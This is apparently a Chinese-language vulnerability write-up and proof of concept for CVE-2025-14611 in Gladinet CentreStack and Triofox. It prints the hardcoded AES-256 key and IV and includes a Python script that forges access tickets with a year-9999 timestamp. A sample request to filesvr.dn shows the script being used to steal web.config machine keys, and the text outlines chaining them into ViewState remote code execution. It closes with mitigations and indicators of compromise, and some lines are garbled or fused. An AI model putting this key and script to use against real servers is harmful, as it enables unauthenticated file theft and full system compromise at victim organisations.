CVE-2025-14611 CentreStack 与 Triofox 完整 PoC/漏洞利用
该漏洞源于 Gladinet CentreStack 和 Triofox 产品中的硬编码加密密钥,攻击者可借此通过伪造的访问票据实现任意文件读取。AES-256 加密实现使用了直接嵌入应用程序二进制文件(GladCtrl64.dll)中的静态不变密钥,任何提取到这些密钥的攻击者都可以:
该漏洞影响 16.12.10420.56791 之前的所有 Gladinet CentreStack 和 Triofox 版本,并且至少自 2025 年 11 月起已在野外被积极利用。
漏洞始于 GladCtrl64.dll 中加密密钥的生成与存储方式。GenerateSecKey 和 GenerateSecKey1 函数负责提供 AES 加密密钥和初始化向量(IV)。
密钥生成流程:
当 CentreStack 服务器应用程序启动时,SysKeyMgr 类调用 AccessKeyMgr64.GetSysEncKey,进而调用位于 GladCtrl64.dll 中的 。该函数:
GenerateSecKeyPSTR sub_180001000(wchar16* arg1)
{
int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0,
lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr,
cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
if (cbMultiByte != 0) {
PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
if (lpMultiByteStr != 0) {
if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1,
cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte,
lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
return lpMultiByteStr;
sub_180001290(lpMultiByteStr);
}
}
return nullptr;
}
该函数使用 Windows API WideCharToMultiByte 并以代码页 0xfde9(UTF-8)将 UTF-16LE 编码的字符串转换为 UTF-8。源数据存储在两个静态内存位置:
关键发现: 这些字符串在该软件的任何安装中都从不改变。GenerateSecKey 函数名具有误导性——它并不会动态生成密钥,而只是返回二进制文件中预先存在的静态字符串。
通过逆向工程分析,从 GladCtrl64.dll 的 .data 节中提取出了硬编码密钥:
0x18000c000 处的内存(密钥源):
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...
当从 UTF-16LE 解码为 UTF-8 时,会产生以下中文文本:
不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...
0x18000c2c0 处的内存(IV 源):
6d 6f 44 72 69 76 65 00 // "moDriv" in ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...
解码后产生:
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...
最终加密密钥:
应用程序使用 UTF-8 编码密钥源的前 32 个字节作为 AES-256 密钥,并使用 UTF-8 编码 IV 源的前 16 个字节作为初始化向量:
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV: 6d6f4472697665e381afe38081e38389
该漏洞通过 filesvr.dn HTTP 处理器加以利用,该处理器映射到 GladinetStorage.FileDownloadHandler 类。此处理器处理通过 t 查询参数传递的加密访问票据。
访问票据结构:
访问票据是使用 AES-256-CBC 加密的换行分隔字段:
Line 0: Filepath (absolute path on server)
Line 1: Username (Windows account to impersonate)
Line 2: Password (credentials for that account)
Line 3: Timestamp (ticket creation time)
解密过程:
t 参数并执行自定义清理操作,交换 URL 安全字符(: → +,| → /)AccessTicket.Decrypt,它会检索静态的 SysKey(前 32 个字节)和 SysKey1(前 16 个字节)时间戳验证绕过:
处理器将票据时间戳与当前服务器时间进行比较。如果票据超过 4 小时,则会被拒绝。然而,攻击者可以将时间戳设置为 9999 年,从而创建永不过期的票据:
9999-11-27 14:52:04.009217
这创建了一个可无限期重复使用的持久性后门。
解密后,处理器提取 Username 和 Password 字段,并尝试初始化模拟上下文。关键漏洞: 当两个字段都为空字符串时,模拟逻辑失败并回退到 IIS 应用程序池标识。
由于应用程序以提升的权限运行且不需要有效凭据,因此这允许未经验证的任意文件读取。
恶意票据示例:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217
自 2025 年 11 月以来已观测到活跃的漏洞利用。攻击者遵循以下模式:
步骤 1:伪造访问票据
利用提取的密钥,攻击者创建针对 web.config 的加密票据:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')
ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')
步骤 2:发送恶意请求
伪造的票据被发送到存在漏洞的端点:
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com
步骤 3:提取机器密钥
响应包含带有机器密钥的 web.config 文件:
<machineKey
validationKey="ABC123..."
decryptionKey="DEF456..."
validation="SHA1"
decryption="AES"
/>
步骤 4:与 CVE-2025-30406 链接利用
这些机器密钥使 ViewState 反序列化攻击成为可能,进而导致远程代码执行。攻击者构造使用提取的密钥签名的恶意 ViewState 载荷,实现完全的系统入侵。
来自观测到的漏洞利用尝试(2025 年 12 月):
来自攻击者的加密票据:
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu
解密内容:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217
攻击来源: IP 地址 147.124.216[.]205
目标组织: 医疗、技术和专业服务领域的 9 个已确认受害方
攻击时间线: 初始漏洞利用尝试始于 2025 年 11 月,并于 2025 年 12 月升级加剧
CVE-2025-14611 代表了加密密钥管理中的严重失败。通过将静态、不变的密钥直接嵌入应用程序二进制文件,Gladinet 创建了一把适用于所有安装环境的万能钥匙。该漏洞展现了多个严重的安全缺陷:
缓解建议:
web.config 中的机器密钥t 参数访问 /storage/filesvr.dn 的记录vghpI7EToZUDIZDdprSubL3mTZ2(web.config 路径的加密表示形式)入侵指标(IOC):
任何包含以下内容的 HTTP 请求:
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2
该子字符串可唯一标识利用此漏洞检索 web.config 的尝试。